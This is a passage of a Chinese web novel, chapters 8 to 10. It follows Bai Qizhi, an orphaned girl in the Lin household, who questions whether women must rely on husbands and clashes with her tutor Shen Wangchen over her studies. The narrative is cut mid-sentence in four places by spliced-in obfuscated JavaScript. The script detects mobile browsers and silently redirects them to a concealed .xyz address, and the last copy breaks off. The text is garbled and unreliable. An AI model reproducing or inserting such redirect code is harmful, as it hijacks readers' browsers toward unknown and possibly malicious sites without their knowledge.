“是啊，不过十万钱而已。”白栖枝轻飘飘地说，“你生在淮安林家，哪知路有冻死骨？与你而言，一句轻飘飘的不过十万钱，于那些小门小户的人家来说便已是泼天的富贵，更遑论那些穷苦人家？我从长平一路而来，曾见过一破落村落，在那里，人比野草贱，只一吊钱便能买下一个人的命，你说，十万钱足不足够让他们以命相搏？” 林听澜自小便是锦衣玉食，哪里见过真正的人间疾苦？而今面对白栖枝的话，他是有十二分的不信，但因着不想与白栖枝在这个问题上产生过多口舌，便难得的没反驳。 “可若你先身死呢？”他轻蔑地问道，“你又该怎么保证你不会先一步被他们杀死？” “我很值得他们再派人来杀么？”白栖枝想了想，又道，“或许值得，但大抵不会。” 林听澜：“为什么？” 白栖枝：“你有没有想过，那人既然敢雇人刺杀书画院翰林，那么其背后实力必定不容小觑。这样的大人物，又怎么能看得起我一个尚未及笄的小姑娘？” 林听澜一顿，随即看向白栖枝那瘦小的身躯。 诚然，如所白栖枝所言，在林听澜眼中，她就如同一块柔弱无骨的豆腐，旁人只需动一动指头便能将她戳个稀碎。这样的她，独活在世上，就算不派人杀，不久后也会香消玉殒，又哪里值得再派人来寻呢？ 可她偏独自一人，攥着一份几乎不作数的婚契，从长平赶到淮安，叩开了他家的大门，寻求他的庇护，其中孤勇，可想而知。 也就是在这时，林听澜好像真的有那么些许相信沈忘尘的那句“她将来会有大出息的”。 “可他们想错了。”见林听澜神色微动，白栖枝又盈盈笑道，“我之所以被他们看轻，是因为我现在还小入不了他们的眼。可那又怎样呢？我早晚会长大成人，无论是五年，十年，还是二十年、三十年，亦或是一辈子，这其中总会有我出头之日。既然如今他们敢轻视我，那想必他们也一定做好了日后被我寻仇的准备。到那时，鹿死谁手，谁又可知呢？” 一时间，林听澜如同回到了七年前一般。 那时的白栖枝还是个七岁的黄毛小丫头，父母责令他带着她去花园游玩，他不喜，便骗白栖枝到书房陪他下棋。 两人下了三局，局局他都将白栖枝杀得片甲不留。 七岁正是孩子自尊心最强的时候。 林听澜本以为白栖枝会哭着去找父母告状，以后再也不来找他玩耍。 可是—— “再来！” 七岁的白栖枝一双星眸亮的吓人。 她收了黑白二子，依旧执着不占优势的白棋，兴致勃勃地同他道，“我阿父说了：吃一堑，长一智。前三局局你赢了我，这一局未必我还会输你，就算我这局输了，下一局我也未必不能赢你。只要林哥哥你还敢下，那总有一局我能赢！” 那时的林听澜只当她初生牛犊不怕虎，什么傻气都敢往外冒，也就拗着一股一定要挫挫她锐气的劲儿，当真陪她下了一天。 虽然那天白栖枝一直在输，但她却从没扫过他的兴，一直在夸他好厉害，说什么这一步下得厉害、那一步下得精彩，以至于在那之后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764769|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好几天内，林听澜也一度以为自己真是个围棋天才。 这般想着，林听澜的目光又落回到白栖枝身上，那么一瞬，他竟也开始好奇现白栖枝如今棋艺究竟如何了。 “咕噜~” 一阵肠鸣声从白栖枝的肚子钻出，叫林听澜方才起的那一点子好感瞬间被这声音驱得烟消云散。 怪不得今早她吃得跟猫食儿一样，原来是在这儿等着他呢——这不是摆明了要在外面赖他一顿？ 林家的大爷竟然请一个小姑娘下馆子。 此事一出，就算她不说，别人也会默认她是林家的主母，到时候流言一传、婚契一出，这门亲事他林听澜想认要认，不想认也得认！ 没想到这小姑娘看起来笑盈盈，不显山不露水的，私底下心思竟如此龌龊狠毒，果然不能让忘尘再将他留在府中。林听澜想。 白栖枝不知道林听澜的想法，见他陡然黑了面皮，以为他只是在怪自己今早吃饭时的事，身上的气势立即弱了下来，收回视线，不敢再看他半分。 呵，装什么柔弱无辜。林听澜内心冷笑。 ——既然她想要如此，那便遂了她的愿，省得她日后在忘尘那边出什么幺蛾子。 正巧两人附近有一家露天摆着的小面摊，林听澜立即发狠似的掐住白栖枝的胳膊，将她拽了过去。 被按在木凳上后，白栖枝还懵懵的，她也不知道林听澜为什么突然把她带到这里来，但看着林听澜如千年寒冰般的脸，她也不敢问。 反正这人从小到大都厌恶她厌恶得厉害，除了七年前陪她下了一整天棋外，其余时间便是看都不不屑于看她一眼，脸上阴晴不定，心思难猜得很。 “老板娘，一碗阳春面。”林听澜冷冷道。 白栖枝更懵了，不明白林听澜为什么要请她吃面。不过聪颖如她，只看了看林听澜的神色便能将他的小心思猜上个七七八八，她想辩解，但总觉得就算自己辩解这人也未必会信，便抿着唇一言不发。 不多时，一碗热气腾腾的阳春面被摆到桌上，老板娘递过筷子说了句“客官慢用”，在座满堂唯有白栖枝一人说了句“谢谢老板”。 摊主先是愣了一愣，笑了一声，随即转身离开，再回来时手中俨然多了一道小菜：“小姑娘眼光不错嘛，喏，赠你了。” 旁边有人打趣道：“老板娘，你赠给她怎么不赠给我，好歹我也是个常客，别那么小气嘛！” 女摊主也是个泼辣性子，立即骂道：“瞎了你的狗眼，娘什么娘，老子还没出嫁呢！人家小姑娘叫我一声老板，我高兴赠碟小菜怎么了，谁像你左一个‘老板娘’右一个‘老板娘’的，挺大个人了，还没一个小姑娘有眼力见。” 那人撇了撇嘴：“哎呀，大家不都这么叫么，叫了多少年了都，你在乎这个干什么。” “滚滚滚，要么说你讨不着好呢。”女摊主反问道，“难道一直如此，便是一直对的么？” …… 8. 巨浪 女摊主一句无心之言，众人都当成笑话来听，唯独白栖枝真真切切地听进去了。 ——一直如此，便是一直对的么？ 大昭风气开放，女子亦可出摊经商，但比起老板，人们更喜欢称她们为老板娘，就好像她们的背后总要有一个“老板”撑着一样。 真的需要一个“老板”来撑着么？真的不可以自己出来做么？ 这个念头一出，白栖枝发现自己似乎一直认错了一件事。 虽然从小到大，爹娘和兄长从没以林氏之妻的身份要求她，但是府内其他人似乎都在用这种眼光看着她。 从小，她过目不忘，凡是看过的书都能一字不差地背下来，这时府里的人就会夸她道：“小姐真聪明，林少爷日后有福咯！” 后来，她又极善书画，莫说是父亲的丹青，哪怕是古人的真迹，她都能临摹出个七七八八，这时府里的人又会夸她道：“小姐有着一双妙手，又遗传了老爷的才能，日后林少爷娶了小姐，必定是极有面子的！” 再后来，她随着阿父一同为穷人施粥，这时候，就连那些不知道她已有婚约的人也会夸她道：“白小姐真是菩萨心肠，日后谁若是有幸娶了白小姐，必定家庭和睦、子孙安宁啊！” 那时候她还小，只知道他们是在夸她，虽然有些疑惑为什么桩桩件件都能扯到林听澜身上，却并不觉得这话里有什么不对。 直到她孤身一人从长平闯到淮安，她才若有若无地觉得——自己好像就算只有一个人也是可以活下去的。 虽然有这么一点感觉，但白栖枝也并不觉得怎样，她还是按照阿娘的话，拿着一纸婚契来到林府，求夫家收留庇佑，甚至觉得自己好像只能来寻求夫家庇佑。 可一直如此，便是一直对的么？ 如果早这么想的话，那她还会出现在林家，受着那些几乎称得上是毫无意义的辱骂，日日对着林听澜那张冷若玄冰的脸小心翼翼地讨好他么？ 可如果她不来林家她又能去哪呢？她真的有能力一个人活下去么？就算她跑去随便哪个铺子里做长工，那里的人真的会收留她么？ ——反抗了、出逃了，然后呢？ 一时间，白栖枝觉得自己脑子里乱的很。 心中的滔天巨浪正一下接一下地拍在她头上，冰冷咸涩的海水叫她几欲窒息而亡。 白栖枝不明白自己怎么做才是对的，怎么做才是错的。她甚至想不出她如果不，那又如何。 面前的阳春面还在一点一点地升腾起奶白色的热气，可白栖枝的脊骨却在一寸一寸的发寒。 她知道她想这些没有意义，可是如果…… 她想了呢？ 自从面条上了桌，白栖枝便一直一动未动，林听澜已经等的有些不耐烦了。 “怎么？是在等着我喂你么？” 刻薄的声音落下，白栖枝抬头，正对上林听澜俯视她的眼神。 鄙夷的、逼迫的，如开了刃的刀一般，几乎要剥下她一整张面皮。 白栖枝就是在这样的目光下吃完了一整碗的面，哪怕吃到一半她已经有些吃不动了，却因为林听澜的那种目光，还是强迫着让自己吃完。 她吃相并不好看，很急，没有一点翰林千金的模样。 “怎么吃相这么难看？不知道的还以为我林家没能力让你吃得起饭呢。”林听澜奚落道。 难看吗？还好吧。 白栖枝低声说道：“可能是之前跟狗抢食抢习惯了吧。” 此话一出，林听澜看她的眼神都变了，难得地露出几分慌张：“你不会被狗咬过吧？”都说狗癫会传染，那他和忘尘岂不是？ “没有。”白栖枝答道，“我抢的都是人家家里养的狗，那时候我太饿了，趁他们不注意就偷偷把它们的碗拿走了，狗追我，我就爬到墙上，它们不会爬墙，咬不到我。” 林听澜：“你还会爬墙？” 白栖枝：“原本不会的，可在走山路的时候太饿了，就学会了爬树摘果子，两者差不多，熟练了就好了。” 林听澜又道：“那你怎么不多摘点果子带着，去抢狗食干什么？” “带不住。”白栖枝顿了顿，搅和着碗里的面，“数量太多我拿不动，况且果子从树上摘下来后很快就会烂掉的，我带不住。” 林听澜从没见过烂掉的果子。在他眼中，无论是什么果子，呈到他面前时一定得是最新鲜的，一个班点都不能见。由是，他从不知道有些果子不过几天就能发烂，吃了便会头痛、恶心、呕吐。 在林听澜的印象中，白栖枝还是那个受尽宠爱的翰林千金，哪怕他知道白府已被灭门，却还是想不到白栖枝会惨到何种境地，以至于现在哪怕是听白栖枝亲口讲述，他也完全想不到她那时会是如何的狼狈。 见林听澜不再发问，白栖枝乖乖地吃完了一整碗的面。 两人离开面摊时，面摊的女摊主还再跟食客们嬉笑打闹，哪怕有时候那些食客们说出来的话较为低俗，她也只是笑着，从来不拒绝。或许那句话本就是她的无心之言。 两人就这样在街上走着。 白栖枝总觉得自己心里堵着一口气。这口气上不来，咽不下，如一团干燥的棉花般，死死卡在胸腔里面。她伸手去抚摸胸骨想给自己顺顺气，却意外摸到了衣衫内一个硬硬的东西。 那是阿娘在今年年初给她打造的新年礼，是个一两重的金手镯。 白栖枝至今还庆幸着那些山贼只抢了她的长命锁，而没有扒下她的衣服仔细搜索。 近处就有一家典当行。 白栖枝顿住脚步：“请等我一下。” 林听澜虽不耐烦，但见她铁了心的样子，还是停住脚步。 只见小姑娘哒哒哒地跑进不远处的一家当铺，过了一会儿又哒哒哒地跑回来，手里还拿着一沓银票，然后她捏着其中一张递给了他。 那是张一贯钱的银票。 林听澜低头数了数，白栖枝手中一共捏着七张银票，应该都是一贯钱的。 “你从哪来的钱？”说完，他立即想到了昨日白栖枝掏出的那个金手镯，冷声道，“你连你娘的遗物也敢当？” 白栖枝信誓旦旦道：“阿娘不会觉得那个镯子比我更重要。” 说完，觉得不妥，又抽了四张，递到他面前：“这是方才那六百钱和这几天的僦钱[1]。我知道林府的僦钱很贵，这些钱先给你，剩下的我会慢慢补上，请不要、至少是目前，不要把我撵出去。” 她的眼睛依旧是亮晶晶的，林听澜看着，忽地生出几分有趣来。 他并不是接纳了白栖枝，只是想看看她一个小姑娘，是怎么有勇气对他说出“把钱补上”这种话来的。 “好啊。”林听澜伸手将她手中的银票接过，从鼻子里笑了一声，“我不会把你撵出去，我也不急着要你补上剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764770|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余的钱，你可以一直慢慢地还，十年，二十年，甚至是一辈子，我都可以让你慢慢地还。” …… 近日，沈忘尘发现白栖枝总是有些心不在焉。 不仅是在他教她数术的时候发现她经常走神，盯着算盘不知道在想什么，就连问她话时她的反应也叫之前慢上一拍。 他以为小姑娘是那天被吓到了，亦或是替还在养伤的春花做工累到了，可当他问时，小姑娘却只是摇摇头。 也是，她见过比那更惨烈的场景，又怎么可能会被吓到？ 至于做工，他已经吩咐了旁人尽量让她少做些事，应该也不会被累到经常出神。 小姑娘心里揣着事，无论他怎么旁敲侧击也都不说，沈忘尘怀疑是那天两人去衙门的时候发生了什么事，只好去问林听澜。 林听澜想不通沈忘尘为什么会突然问这个，但既然他问了，他便也一五一十地讲给沈忘尘听。 “所以，你真的要她一个小姑娘付你僦钱？” 见沈忘尘一脸“你是不是疯了”的讶异神情，林听澜赶紧趴在他膝上解释道：“怎么会？我林家家大业大，难道还需要她付僦钱？不过是逗逗她罢了。再说忘尘你前几日也见着了，这小丫头气性大得很，我要是不收，她指不定哪天就要闹出什么幺蛾子来烦我，我这不也是以绝后患嘛。” “话说忘尘你是不是最近有点太在意她了？” 此话一出，屋里如同是打翻了一车陈醋般，散发着浓浓的酸味。 看着林听澜一脸的醋意，沈忘尘也不知道该如何同他解释。 他对白栖枝，除了初为人师的那点教诲之情，更多的，则是一种同类相惜。 林听澜总说白栖枝看起来笑嘻嘻的，实则心气儿极高，可在被打断腿前，他沈忘尘又何尝不是如此？ 他虽为庶子，可却是国子监沈博士的孩子中最为聪颖的一个，但凡是接触过他的人，无一不说他“容貌俊朗、风华无俦”，天生就是个该走仕途的好料子。 可他那点子心气儿在双腿被打断后，都被时间一点点地磨灭了。 或许是因为白栖枝长得顺眼顺心，或许是因为知道她不会对自己构成什么威胁，沈忘尘在见到白栖枝的第一眼时就没对她生出过什么敌意来，但也仅仅是没有敌意而已。 说实话，他其实并不太在意那孩子的死活，甚至连要教她数术都是出于年长者对弱者的怜悯。 但那孩子实在是给了他一个惊喜—— 她聪明、伶俐、心气儿高、有魄力，会察言观色，知道什么时候该忍什么时候该反抗。 他甚至可以笃定那孩子手中肯定还捏着比那张婚契还能压住林听澜的东西，否则那日她不会对林听澜说出那样掷地有声的话来。 那孩子身上有他的影子。 沈忘尘看着她，就如同看到了年轻时的自己，这叫他怎么能不在意她？ 如果可以，他甚至想细心地、耐心地、一点一点地将她培养长大——可惜她是个女儿身，不然他定能够将她培养成下一个自己，去朝廷里好好闯荡一番——不过只是如今这样他就已经很满足了，他可以好好地栽培她，将她栽培成自己的样子。等到他日他沈忘尘身死，也还会有人如他一般继续扶持林听澜，以保林家商路顺遂！ 面对着这样的好苗子，他又怎能不在意？ …… [1]僦钱：房租。 9. 栽培 “沈哥哥，我……我不想学数术了。” “咣当！” 青花瓷茶盏蓦地从手中抖落，浅褐色的茶水擦过沈忘尘素白的衣摆，在地上打了两个转儿，不动了。 藏蓝色的水渍在地衣上洇染开来，白栖枝弯下腰伸手去捡—— “不许捡。” 略带愠气的三个字从头顶落下，白栖枝伸出的指尖不可见地勾蜷了一下。随即她默默收回，直起脊背，垂着眼眸，心虚地不敢去看沈忘尘的神色。 意识到自己方才那声太过严厉，沈忘尘回过神，勉强压下哽在喉中的这口“怒其不争”的愠气，随即缓缓吐出一口浊气。。 “枝枝。”沈忘尘尽力将自己的语气柔和下来，蹙着眉，试探性地问她，“为什么呢？是课业太无聊了么？还是枝枝想要学些别的？亦或是沈哥哥教得不够好，叫枝枝觉得不舒服了？怎么突然就放弃了呢……” 一番话，连珠炮似的说出，虽然一句比一句柔和，却因说得格外心急，落在白栖枝耳朵里，便如一声声逼迫般叫她越发心慌无措。 白栖枝甚至不敢对上沈忘尘殷切的目光：“没有，我只是……只是……只是想去外面做工。” 经过五日的休养，原本重伤的春花已然能下地干活。 这倒是让白栖枝闲了下来。 按理说，这本应是件好事，事情坏就坏在这里——她的身体是闲下来了，可取而代之的，是脑子的活络。 每当她闲下来的时候，那些被她抛诸脑后的疑惑便会再次卷土重来，搞得她心力交瘁。 这种状况白天还好，可是一到夜里，它们就像是在和她玩猫鼠游戏游戏一般将她蹂躏在地。 反抗了、出逃了、然后呢？ 白栖枝曾设想出十种解决的办法，但每当她想过之后，就会灰心地发现，这世间就有十一种方法将她死死困住。 怎么做？ 怎么做？ 怎么做？ 白栖枝一直以为，只要自己跟着沈忘尘好好学数术，她日后怎么也能当个账房先生试试。 可是在那次，在街上，她一直留心着街边商贩、商铺的动向。而在观察过后，她发现，但凡是大商铺，似乎鲜有女子的身影，就连女掌柜也少的可怜。就算是有，也不过是帮着打打下手的小佣工罢了。 既然只能做一个小佣工，那她专心研习数术的意义又在哪呢？她所学的并不能为她多涨工钱啊。 那她学习的意义又在哪里呢？ 与其如此，她不如先一步出去闯一闯，先随便找个铺子去做佣工，兴许日后哪天突然承了时运，她也能做上个小小的女掌柜呢。 这个念头甫一生出，白栖枝便越学越泄气，她索性干脆不学了、放弃了，这样就算她心底里会萌生些小小的遗憾，但与多得的那些工钱相比，似乎也不那么令她遗憾了。 白栖枝迟疑着将这些话说给沈忘尘听，沈忘尘虽依旧撑着一副和煦笑面，可宽大衣袍下的瘦削身躯却因为一阵气苦而止不住地簌簌发抖。 究竟是为什么呢？ 明明是被他如此看好的好苗子，怎么会生出这般不合时宜的想法呢？ 实在是…… 太令人失望了。 “枝枝啊……”沈忘尘忍着手脚轻微地抽颤，叹息似的唤了声白栖枝的闺名，却又不知该如何说她，只又垂眸，将视线落到那盏倾倒在地上的青花瓷茶盏，微微侧下身子去捡拾。 他腰腹处无知觉，动弹不得半分，尽管用了全力，距离那盏茶杯也还是有着一定不可逾越的距离。 还是白栖枝赶紧屈膝上前，将倒在地上的茶杯递向他单薄扁平的手掌。 也不知是不是故意的，两人的指尖在须臾间触碰了一下。 那是一只怎样的手呢？ 苍白的、冰冷的，没有一丁点属于活人血肉温度，宛若冬日里的行尸走肉。 刚一触及，白栖枝便被那只手凉得瑟缩了一下，赶紧收回手。 那盏青花瓷茶杯被沈忘尘放回桌上。 他手指无力，在杯底距离桌面一指腹远时便脱了力。 茶盏磕在乌木书案上当即发出一声脆响，惊得白栖枝心头一震，连带着瘦小的身躯都跟着哆嗦了一下，跪在原地不敢动弹。 沈忘尘知她害怕，便用手上最后一点力气轻拍了拍她的发顶：“枝枝，别怕。地上凉，快起来。” 白栖枝小心翼翼地起身，映入眼帘的便是沈忘尘那垂在轮椅外侧的瘫软手臂。 她想了想，伸出手，又像是害怕什么似的顿住，往后怯缩了一下，最后还是伸手扶住那只手臂，将它缓缓放回沈忘尘腿上。 沈忘尘对她这个徒弟还是很满意的。 他并不想因着一点不必要的小问题而彻底弃她这根百不一遇的好苗子，由是，他深吸了口气，忍着太阳穴上那一阵阵的刺痛，苦口婆心道：“枝枝，你知道为什么府中所用的茶杯青花瓷器，而不用普通的白瓷么？” 白栖枝不傻。 沈忘尘的意图太明显，以至于他一开口，白栖枝就已经知道他接下来要说什么了。 她抿着唇，将视线又放低了一个层次，用纤薄白皙到几近透明眼皮将她那双黑白分明的眼瞳遮掩去大半。 沈忘尘知她明白，便省去打比方的功夫，开门见山道：“枝枝你切记，安身立命之本，在于一技之长，而非一时之财。倘若你现在出去做工，是能多赚上一两年工钱不错，可你且想想，那些事你能做得，难道旁人便做不得？都说长江后浪推前浪，若后来者有一技远居你之上，你当真能保证那些店家还会接着雇你做佣工？现如今，你一技未精，出外谋生，犹如无根之木，难以立足。新如今，你当务之急是应先学下一身本领，有个安身立命的本事，到时候那些黄白之物自会如流水般往你怀中涌。如今我与你说这些，你也未必能懂。但孰轻孰重，你难道还分不出么？” 他一番话下来，额角处已经渗出了细密的汗，其貌恳切，宛若春蚕吐丝、杜鹃啼血。 如若白栖枝是位男子，想必他此时只怕是要拉着她的手，将一颗赤忱之心呕给她看。 白栖枝从不知道沈忘尘竟如此看重她，她有些手足无措，几乎是拼命忍着不往后退缩。 她看向沈忘尘的眼，那双漆黑的眼眸中所倒映着的，是她不住颤抖的瞳仁。 按理说沈忘尘如此看重她，她理应是感激的，可为何在这感激之中，她又陡然地生出一分惧意呢？ 时间仿佛停滞于此。 五秒钟后，沈忘尘才像被抽干了所有力气一样，将身体软软地陷入轮椅中。 他长长地舒了口气，不再朝白栖枝看去，只兀自阖眸，淡淡道：“今日同你说了这么多，你应是无心学习了，罢了，你且先回房好好想想，明日再来给我答复吧。” 说完便一点点匀着自己的气息，不再去理一旁手足无措的白栖枝。 直到白栖枝行礼退下，听到那关门的一声轻响后，沈忘尘才缓缓睁眼，望向门口那儿出神。 果然，无论她再怎么璞玉浑金，说到底，也不过只是个孩子，这才方出去了一次，便沾染上了外面那些杂七杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764771|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八的心思…… 早如此，就不该叫她出门。 * 直到出了门，白栖枝还有些惊魂未定。 她总觉得有什么东西要在她骨子里扎根，但因为找不到合适的土壤，于是便在她心中来回乱钻，钻得她心疼。 显然，此时的白栖枝并不明白这东西究竟是什么，于是，为了不让自己多想，她将这种东西命名为—— “愧疚。” 她不该说出那种话的，她不该惹沈哥哥生气的，沈哥哥对她已经足够好了，是她不懂事，她不该惹他生气的。 自觉做错了事，白栖枝一直恛惶无措，便是连眼前的路都顾不得看了，方走三四步，就撞上了个人。 白栖枝抬头，在一片雾水蒙蒙中勉强辨出了面前的人影。 “春花姐？” 春花看了看她这样子，又看了看她身后紧闭的房门，当即明白了几分，拉着她的手腕就将她拽到了偏僻无人处。 “你惹沈公子小发雷霆了？” 面对春花的疑问，白栖枝将方才的事简单地复述了一遍。 因着这几天一直被白栖枝照顾，加之这小姑娘明知她被扣月俸后还帮她做工，春花对白栖枝还是很感激的。 但感激是感激，若说是相合，肯定暂时还是合到一起去的。 倒也不是因为别的，春花总觉得这小丫头脑子里跟少了一根筋似的——傻！ 亦或者是呆。 总之就是不聪明。 不过若她真的聪明以极，估计也就不会为自己傻乎乎地求情了。春花想。 听完白栖枝的话后，她道：“沈公子跟你生气那是因为他看重你，真是的，也不知道是该说你傻还是该说你天真，在这院子里，许多人费尽心力都不一定能得到沈公子的一句指点，你倒好，人家亲手栽培你你都不要，实在是暴殄天物。” “沈哥哥他……很厉害？”白栖枝没头没脑地问道。 她只知道沈忘尘算账本很快，快到甚至不用打算盘，至于其他的，她对他几乎是一无所知。 “那当然！”春花大叫道。 看着白栖枝写满了无知的大眼睛，她平复了一下心绪，悠悠道：“反正跟你说你也不一定明白，总之你记住，四年前，若没有沈公子在外与大爷相互扶持，大爷是走不到今天的。” 白栖枝听完，想了想林听澜平时的样子，又想了想没有垮掉的林府，露出恍然大悟的神情—— 那确实是很厉害。 “可为什么沈哥哥现在不喜欢到外面去了呢？”她问道。 春花说：“因为沈公子现在身体不好呗。唉，如果不是为了大爷，沈公子也不会被沈博士在家族中除名，更不会被打断一双腿。唉，这么一想，他和大爷的故事还真是感人，能爱大爷爱到这种地步，你说，这世上还有比沈公子更爱大爷的人了么？” 嘶。 白栖枝倒吸了一口冷气。 倒也没什么大事，她就是觉得自己好像听了一遭鬼故事，骨子里瘆得慌。 感不感人到先不论，为了一个人，废了一双腿，这已经不是“爱到”不“爱到”，而是该不该哀悼的事了吧？ 见白栖枝面露难色，春花说：“算了，你一个黄毛小丫头又懂什么。总之你就记住，沈公子能把你带在身边栽培，已经是你莫大的荣幸了。虽然你是个女儿身，这辈子就算拼了命，到底也是还要和我们这些丫鬟一样走嫁人生子这条老路。但能得到沈公子的栽培，你这辈子啊——” “值了！！！” …… 10. 乞求 你是个女儿身，就算拼了命，到底也是还要走嫁人生子这条老路…… 夤夜凄凉，白栖枝翻来覆去地睡不着，脑子一直回荡着春花昨日晌午对她说的话。 到底也还是要走嫁人生子的老路么？ 白栖枝起身，在床上抱膝坐了一会儿，最终还是披了件单衣坐在院门外的石阶上看月亮。 按理说她也不小了，十四岁，正是嫁为人妻的好年纪。 可是…… 可是！ 她不想就这样草草地将自己的人生交到一个陌生人手里，她总觉得自己该有属于自己的日子。 就像她阿娘教导她的那样： “做人，最忌讳将自己的命运捏在别人手里。一旦让他们掌握了你的人生，他们就会变着法地欺压你，到那时你便无处可逃、无路可走，只能任人宰割。所以啊，枝枝，你不要怕，你要勇敢地走出去，多听、多看，找到一条属于自己的路。要知道，哪怕你是个女儿家，阿爹阿娘也不必非要你嫁人结婚。只要我们的枝枝想，一辈子待在白府、待在阿爹阿娘身边也是可以的。毕竟比起遇人不淑，阿娘更希望枝枝可以一辈子平安喜乐，顺遂无虞。” 白栖枝的阿娘并不是什么柔弱不知事的女儿家。她出生的那年正赶上浩浩荡荡的乾逆之乱，无数被压迫的布衣百姓因不满昭华公主登记之后的苛政重税，纷纷于田野间揭竿而起，直冲朝廷。长达三年的战乱使国祚内生灵涂炭，而白栖枝的外祖父也在这场战争中化作一具枯骨残骸。因早年丧父，白栖枝的阿娘年少时未少被混账流氓欺负，直到有一天，她被欺负得狠了，拿起一块比她巴掌还大的石头，砸向了那些觊觎她与她娘的破皮无赖。 “枝枝你要记住，日后无论是谁欲图欺辱你，不要怕，要拿起石头砸得他头破血流，叫他今生今世都不敢再觊觎你半分。”她阿娘对她如是说道。 再后来，外祖母郁郁而终，她的阿娘就成了独自在世间艰难存活的孤女。 那时候的阿娘还年轻，对于那些看不见的恶意还不太懂，傻傻地相信了那些装出一副好人模样的坏人，几乎要将自己的一切和盘托出，甚至恨不得想将自己的后半生也一同交到那人手里。也正因如此，她差一点点就被人下药卖到一个破落村子里，给一个年纪大得几乎能当她阿爹的人做填房。于是，她拿起了刀，狠狠刺向那人的腹部，头也不回地跑去报官。 这事儿的结局是那人入狱，阿娘也因伤人而被处以笞刑。 白栖枝那时候实在是太小了，不知道她阿母讲这些事是为了什么，只当做故事来听，顺便黏在阿母身上抱抱她表示安慰。 可如今细想来，她根骨中的许多东西有许多就是她阿娘为她塑造出来的，在她的脊梁中，有一节是她阿娘赋予她的。 她是她阿娘的女儿，与阿娘有着相同的性别，体内留着一致的血脉，所以无论阿娘教她什么，哪怕她不懂也一定会照做。 她坚信她的阿娘这世界上唯一的、爱她比爱世间一切还要浓烈的人。 更深露重，风也萧萧，白栖枝就这样一直坐着，想着。 直到—— 她去见了沈忘尘。 一夜无眠，白栖枝眼下一片乌青，就算努力打着精神，也掩不住脸上因思虑过重而失眠的疲态。 沈忘尘倒是修养得还不错，因昨天他面色不好，林听澜自觉地没去闹他，也算偶得一日清闲。 白栖枝被带过去的时候，沈忘尘还是和昨天一样，面前一本账、一盏茶，正端着茶盏不紧不慢地核对账本，完全看不出昨日生过气的模样。 直到侍女离开关好门，他才悠悠放下茶盏，虚合上账本，对白栖枝微微一笑。 “枝枝，过来坐。” 白栖枝站在原地不动。 沈忘尘也不强迫她，只温声问道：“昨日让枝枝想的事，枝枝可想清楚了？” 白栖枝面露难色。 那些哄人开心的话她是可以信手拈来没错，可是如果有些事没想清楚就草草允诺，她实在是不敢想之后的后果。 “其实……我自己也说不好。”白栖枝很诚实地答道。 瓷盏磕碰茶台发出一声细微的脆响，沈忘尘的心也随之“咚”地一声震颤，连带着好不容易调养好的心情也在这一刹那烟消云散。 好在白栖枝只是喘了口气便又补道：“其实也不是说不好，只是有三个事情我昨日想了一夜都没有想明白，想先问一问沈哥哥。” 沈忘尘缓缓吐出一口气：“你说。” 白栖枝立即整理了衣袍，直直跪下道：“其一，我想问一下沈哥哥，若我潜心跟着沈哥哥研习，日后是否能以一己之力求糊口市肆？” 什么青瓷白瓷，什么黄白之物如流水似的往怀中涌，那些事于她来说实在是太过虚妄，虚妄到她伸出手，连这诺言的幻影都抓不到半分。 来日之事惶惶不可测，她不要想那些虚无缥缈的许诺，她只想一个真实到没有半分掩饰的事实，一个能让她知道她到底能做到什么地步的事实。 沈忘尘听完，半晌，才勾唇一笑。 “糊口？若只是到这种地步，枝枝便不必依我而学了。”他说，“我要教你的是为商之道，我要你做的是要你自己明白自己想要走什么样的道。枝枝，你很聪明，若你是个男儿身，我甚至想把你培养成一个入仕之材，可偏你是个女儿家。我怜你、惜你，这才把你带在身边悉心栽培。若我教你的只是能让你勉强糊口的本事，又何苦在这里与你三番两次地说？我大可以将你放到林府门下的那些铺子里去磨练。有些事，我在这里说未必好使，可事上一见便知。枝枝啊——你是个心思通透的，难不成你当真只想做个无名无姓的女司账，一辈子困在账房里面不得出头么？若你当真害怕同我学完依旧出去无一用，大不了我将我名下的铺子划一间落在你名下便是，这样枝枝你可放心？” 白栖枝也不是想要什么铺子，她只想能够自己养活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 